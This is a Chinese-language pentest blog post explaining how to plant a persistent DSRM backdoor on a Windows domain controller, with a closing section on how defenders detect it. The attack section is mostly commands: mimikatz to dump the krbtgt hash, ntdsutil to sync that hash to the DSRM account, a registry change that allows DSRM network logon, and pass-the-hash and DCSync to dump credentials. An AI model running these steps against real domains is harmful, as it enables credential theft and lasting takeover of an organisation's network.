权限维持之:DSRM 域控权限维持

  • 目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户 (也就是DSRM账户)。
  • DSRM用途:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM 的密码需要在安装 DC 时设置,且很少会被重置。修改 DSRM 密码最基本的方法是在 DC 上运行ntdsutil 命令行修改。
  • 在渗透测试: 可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。
  • 每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

1 修改 DSRM 密码

# Win08(已安装KB961320)及以上,可以将 DSRM 密码同步为已存在的域账号密码。
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account domainusername:使DSRM的密码和指定域用户的密码同步
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil

# 补充,直接修改 DSRM密码
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
reset password on server null:在当前域控制器上恢复 DSRM 密码
<PASSWORD>:修改后的密码
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil

image-20211218100454081

2 DSRM 域后门操作过程

  1. 获取 krbtgt 的 NTLM hash

    # 域控制器中使用mimikatz查看 krbtgt 的 NTLM hash
    privilege::debug
    lsadump::lsa /patch /name:krbtgt
    
    # 得到NTLM : fa02a0e57e5ba9189d00990ae64e87ce
    
  2. 查看同步前与同步后 DSRM 账号的 NTLM hash

    # 查看同步前 DSRM 账号的 NTLM hash
    token::elevate
    lsadump::sam
    
    # 将 DSRM 账号和 krbtgt 的 NTLM Hash 同步
    NTDSUTIL
    set DSRM password
    sync from domain account krbtgt
    
    # 查看同步后 DSRM 账号的 NTLM hash
    lsadump::sam
    

    image-20211218102448734

  3. 修改 DSRM 的登录方式

    DSRM有三种登录方式,具体如下:

    • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
    • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
    • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
    • 在 Windows 对 DSRM 使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。
    New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
    
  4. 利用 mimikatz 使用 DSRM 账号通过网络远程登录域控制器

    # 在域成员机器的管理员(如本地管理员)模式下打开 mimikatz
    privilege::debug
    # 注意:此处的 /domain 的值为域控制器的主机名
    sekurlsa::pth /domain:dc /user:administrator /ntlm:fa02a0e57e5ba9189d00990ae64e87ce
    
    # Hash 传递完成后,在弹出的命令行窗口中打开mimikatz,使用 dcsync 功能远程转储 hash。
    lsadump::dcsync /domain:test.lab /dc:dc /user:krbtgt
    
    dir \\dc\c$
    

    image-20211218112719551

3 DSRM 域后门防御

  1. 定期检测注册表中用于控制 DSRM 登录方式的键值 hklm:\system\currentcontrolset\control\lsa\dsrmadminlogonbehavior ,确认该键值为 1。或者删除该键值。
  2. 定期修改域中所有域控制器的 DSRM 密码。
  3. 经常检查 ID 为 4794 的日志,尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。
posted @ 2021-12-18 11:39  f_carey  阅读(422)  评论(0编辑  收藏  举报